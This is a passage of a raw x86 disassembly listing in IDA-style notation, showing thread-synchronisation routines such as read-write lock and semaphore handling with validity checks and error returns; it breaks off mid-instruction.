sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432C80 proc near ; CODE XREF: sub_401DEDj mov eax, dword_5103B4 push ebx push edi push eax call sub_401190 sub_432C80 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F8E2918h], edx ja short loc_432C2E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_432CB0+1 loc_432CB0: ; CODE XREF: ___:00432CAEj jz short loc_432CD5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_432CC2 dec eax jnz short loc_432CC5 or esi, 0FFFFFFFFh jmp short loc_432CC5 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: ___:00432CB8j mov esi, [edi+14h] loc_432CC5: ; CODE XREF: ___:00432CBBj ; ___:00432CC0j call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_432CD5: ; CODE XREF: ___:loc_432CB0j push 1 call sub_401B22 ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_432D10 proc near ; CODE XREF: sub_401B22j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_432D10 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432D2F loc_432D22: ; CODE XREF: ___:00432D2Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_432D22 loc_432D2F: ; CODE XREF: ___:00432D20j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432D50: ; CODE XREF: ___:00401DF7j xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D70 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_432D70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DB0 proc near ; CODE XREF: sub_401C3Aj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 27902C1h push eax nop call near ptr 2750000h test eax, eax jz short loc_432DF2 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_432DDC: ; CODE XREF: sub_432DB0+33j test eax, edx jz short loc_432DE1 inc ecx loc_432DE1: ; CODE XREF: sub_432DB0+2Ej shl eax, 1 jnz short loc_432DDC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_432DF2: ; CODE XREF: sub_432DB0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_432DB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E20 proc near ; CODE XREF: sub_40185Cj arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_432E54 push esi push ecx call sub_401F91 add esp, 8 mov esi, eax push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_432E54: ; CODE XREF: sub_432E20+17j test eax, eax jnz short loc_432E5D mov esi, 16h loc_432E5D: ; CODE XREF: sub_432E20+36j push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_432E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E90 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_432E90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_432EE2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432EE2: ; CODE XREF: sub_432ED0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_432F02 cmp dword ptr [eax], 0 jz short loc_432F02 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+1Aj ; sub_432ED0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432F26 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F26: ; CODE XREF: sub_432ED0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F84 lea ebx, [esi+4] push eax push ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_432F7B push eax lea eax, [esi+8] push eax call sub_40154B mov edi, eax add esp, 8 test edi, edi jz short loc_432F9C push ebx call sub_402252 add esp, 4 loc_432F7B: ; CODE XREF: sub_432ED0+8Dj push esi call sub_402252 add esp, 4 loc_432F84: ; CODE XREF: sub_432ED0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_432F9C: ; CODE XREF: sub_432ED0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_432ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433000: ; CODE XREF: ___:004018BBj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_43313B mov esi, [eax] test esi, esi jz loc_43313B cmp esi, 0FFFFFFFFh jz loc_4330F7 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43313B push esi call sub_402248 add esp, 4 test eax, eax jnz loc_433140 lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_433069 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_433069: ; CODE XREF: ___:00433057j mov eax, [esi+10h] test eax, eax jg short loc_4330DD mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_4330DD push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_4330A0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4330A0: ; CODE XREF: ___:0043308Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_433140 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401AA5 push edi mov ebx, eax call sub_402252 push esi mov edi, eax call sub_402252 push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330DD: ; CODE XREF: ___:0043306Ej ; ___:00433078j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_433123 ; --------------------------------------------------------------------------- loc_4330F7: ; CODE XREF: ___:00433023j push offset dword_510960 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_433113 mov dword ptr [eax], 0 jmp short loc_433118 ; --------------------------------------------------------------------------- loc_433113: ; CODE XREF: ___:00433109j mov ebx, 10h loc_433118: ; CODE XREF: ___:00433111j push offset dword_510960 call near ptr 7C9010EDh nop loc_433123: ; CODE XREF: ___:004330DBj ; ___:004330F5j test ebx, ebx jz short loc_43312E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43312E: ; CODE XREF: ___:00433125j test edi, edi mov eax, edi jnz short loc_433140 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43313B: ; CODE XREF: ___:00433010j ; ___:0043301Aj ... mov eax, 16h loc_433140: ; CODE XREF: ___:00433041j ; ___:004330AAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_4331B0: ; CODE XREF: ___:00401EA6j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4331D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4331D3: ; CODE XREF: ___:004331C2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433200: ; CODE XREF: ___:0040179Ej mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_433221 mov eax, [ecx] test eax, eax jz short loc_433221 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433221: ; CODE XREF: ___:00433209j ; ___:0043320Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_43325D mov eax, [eax] test eax, eax jz short loc_43325D mov ecx, [esp+8] test ecx, ecx jz short loc_43325D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: ___:00433246j ; ___:0043324Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433280: ; CODE XREF: ___:004015A5j mov eax, [esp+4] test eax, eax jz short loc_4332AA mov ecx, [eax] test ecx, ecx jz short loc_4332AA mov eax, [esp+8] cmp eax, 1 jz short loc_43329E test eax, eax jnz short loc_4332AA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43329E: ; CODE XREF: ___:00433295j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_4332AA: ; CODE XREF: ___:00433286j ; ___:0043328Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4332C0: ; CODE XREF: ___:00402095j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43337A mov eax, [esi] test eax, eax jz loc_43337A cmp eax, 0FFFFFFFFh jnz short loc_4332F4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4332F4 cmp eax, 10h jnz loc_43337F loc_4332F4: ; CODE XREF: ___:004332DCj ; ___:004332E9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43337A push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_43337F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43336D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43333D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43333D: ; CODE XREF: ___:0043332Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43336D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43336D: ; CODE XREF: ___:0043331Aj ; ___:0043335Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43337A: ; CODE XREF: ___:004332C9j ; ___:004332D3j ... mov eax, 16h loc_43337F: ; CODE XREF: ___:004332EEj ; ___:0043330Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333D0: ; CODE XREF: ___:004016A4j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43349F mov eax, [esi] test eax, eax jz loc_43349F cmp eax, 0FFFFFFFFh jnz short loc_433404 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433404 cmp eax, 10h jnz loc_4334A4 loc_433404: ; CODE XREF: ___:004333ECj ; ___:004333F9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_43349F mov ebx, [esp+14h] push ebx push esi call sub_401BD6 add esp, 8 test eax, eax jnz short loc_4334A4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_433492 lea edi, [esi+4] push ebx push edi call sub_401BD6 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_433462 cmp ebx, 274Ch jnz short loc_433453 inc dword ptr [esi+14h] loc_433453: ; CODE XREF: ___:0043344Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433462: ; CODE XREF: ___:00433446j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_433492 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433492: ; CODE XREF: ___:00433433j ; ___:00433481j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43349F: ; CODE XREF: ___:004333D9j ; ___:004333E3j ... mov eax, 16h loc_4334A4: ; CODE XREF: ___:004333FEj ; ___:00433423j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:004015D2j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4335E6 mov eax, [esi] test eax, eax jz loc_4335E6 cmp eax, 0FFFFFFFFh jnz short loc_433527 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433527 cmp eax, 10h jnz loc_4335EB loc_433527: ; CODE XREF: ___:0043350Fj ; ___:0043351Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4335E6 push esi call sub_402248 add esp, 4 test eax, eax jnz loc_4335EB lea ebp, [esi+4] push ebp call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_43356B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43356B: ; CODE XREF: ___:00433557j mov eax, [esi+10h] test eax, eax jnz short loc_4335DA mov eax, [esi+14h] test eax, eax jle short loc_433588 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433588: ; CODE XREF: ___:00433577j mov eax, [esi+0Ch] test eax, eax jle short loc_4335DA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4335AB: ; CODE XREF: ___:004335C0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4335C2 mov eax, [esi+14h] test eax, eax jl short loc_4335AB loc_4335C2: ; CODE XREF: ___:004335B9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4335DD mov [esi+0Ch], edi loc_4335DA: ; CODE XREF: ___:00433570j ; ___:0043358Dj inc dword ptr [esi+10h] loc_4335DD: ; CODE XREF: ___:004335D5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4335E6: ; CODE XREF: ___:004334FCj ; ___:00433506j ... mov eax, 16h loc_4335EB: ; CODE XREF: ___:00433521j ; ___:00433541j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_433650: ; CODE XREF: ___:00401960j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_433751 mov eax, [esi] test eax, eax jz loc_433751 cmp eax, 0FFFFFFFFh jnz short loc_433687 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_433687 cmp eax, 10h jnz loc_433756 loc_433687: ; CODE XREF: ___:0043366Fj ; ___:0043367Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433751 mov edi, [esp+20h] push edi push esi call sub_401BD6 add esp, 8 test eax, eax jnz loc_433756 lea ebp, [esi+4] push edi push ebp call sub_401BD6 mov edi, eax add esp, 8 test edi, edi jz short loc_4336D1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4336D1: ; CODE XREF: ___:004336BDj mov eax, [esi+10h] test eax, eax jnz short loc_433745 mov eax, [esi+14h] test eax, eax jle short loc_4336EE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4336EE: ; CODE XREF: ___:004336DDj mov eax, [esi+0Ch] test eax, eax jle short loc_433745 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401861 push eax call sub_401663 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_433711: ; CODE XREF: ___:0043372Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43372D mov eax, [esi+14h] test eax, eax jl short loc_433711 loc_43372D: ; CODE XREF: ___:00433724j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_433748 mov [esi+0Ch], edi loc_433745: ; CODE XREF: ___:004336D6j ; ___:004336F3j inc dword ptr [esi+10h] loc_433748: ; CODE XREF: ___:00433740j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_433751: ; CODE XREF: ___:0043365Cj ; ___:00433666j ... mov eax, 16h loc_433756: ; CODE XREF: ___:00433681j ; ___:004336A6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4337B0: ; CODE XREF: ___:004015C8j mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_433836 mov esi, [eax] test esi, esi jz short loc_433836 cmp esi, 0FFFFFFFFh jnz short loc_4337CC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4337CC: ; CODE XREF: ___:004337C4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_433836 mov eax, [esi+10h] test eax, eax jnz short loc_433814 lea ebx, [esi+4] push ebx call sub_402248 mov edi, eax add esp, 4 test edi, edi jz short loc_4337F2 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4337F2: ; CODE XREF: ___:004337ECj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_433809 add esi, 8 push esi call sub_401E6F add esp, 4 mov edi, eax loc_433809: ; CODE XREF: ___:004337F9j push ebx call sub_4010C3 add esp, 4 jmp short loc_43382C ; --------------------------------------------------------------------------- loc_433814: ; CODE XREF: ___:004337DAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43382C: ; CODE XREF: ___:00433812j test edi, edi jz short loc_43383B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433836: ; CODE XREF: ___:004337B9j ; ___:004337BFj ... mov eax, 16h loc_43383B: ; CODE XREF: ___:0043382Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_433870: ; CODE XREF: ___:0040153Cj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43392A mov eax, [esi] test eax, eax jz loc_43392A cmp eax, 0FFFFFFFFh jnz short loc_4338A4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4338A4 cmp eax, 10h jnz loc_43392F loc_4338A4: ; CODE XREF: ___:0043388Cj ; ___:00433899j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43392A push esi call sub_401785 add esp, 4 test eax, eax jnz short loc_43392F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43391D lea edi, [esi+4] push edi call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4338ED push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4338ED: ; CODE XREF: ___:004338DCj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43391D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43391D: ; CODE XREF: ___:004338CAj ; ___:0043390Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43392A: ; CODE XREF: ___:00433879j ; ___:00433883j ... mov eax, 16h loc_43392F: ; CODE XREF: ___:0043389Ej ; ___:004338BAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433980: ; CODE XREF: ___:00401FF0j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_433A61 mov eax, [esi] test eax, eax jz loc_433A61 cmp eax, 0FFFFFFFFh jnz short loc_4339B4 push esi call sub_40185C add esp, 4 test eax, eax jz short loc_4339B4 cmp eax, 10h jnz loc_433A66 loc_4339B4: ; CODE XREF: ___:0043399Cj ; ___:004339A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_433A61 push esi call sub_401785 add esp, 4 test eax, eax jnz loc_433A66 lea ebx, [esi+4] push ebx call sub_401785 mov edi, eax add esp, 4 test edi, edi jz short loc_4339F9 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_433A66 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: ___:004339E4j mov eax, [esi+10h] test eax, eax jnz short loc_433A49 mov eax, [esi+14h] test eax, eax jle short loc_433A16 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_433A16: ; CODE XREF: ___:00433A05j mov eax, [esi+0Ch] test eax, eax jle short loc_433A54 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_433A3B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A3B: ; CODE XREF: ___:00433A2Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_433A4E loc_433A49: ; CODE XREF: ___:004339FEj mov edi, 10h loc_433A4E: ; CODE XREF: ___:00433A47j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A54: ; CODE XREF: ___:00433A1Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433A61: ; CODE XREF: ___:00433989j ; ___:00433993j ... mov eax, 16h loc_433A66: ; CODE XREF: ___:004339AEj ; ___:004339CEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: ___:00401C0Dj mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_433AC7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_433AC7: ; CODE XREF: ___:00433ABFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433AF0: ; CODE XREF: ___:00401EB5j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B17 mov eax, [esp+8] test eax, eax jz short loc_433B17 cmp eax, 2 jbe short loc_433B17 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_433B17: ; CODE XREF: ___:00433AFFj ; ___:00433B07j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433B30: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, 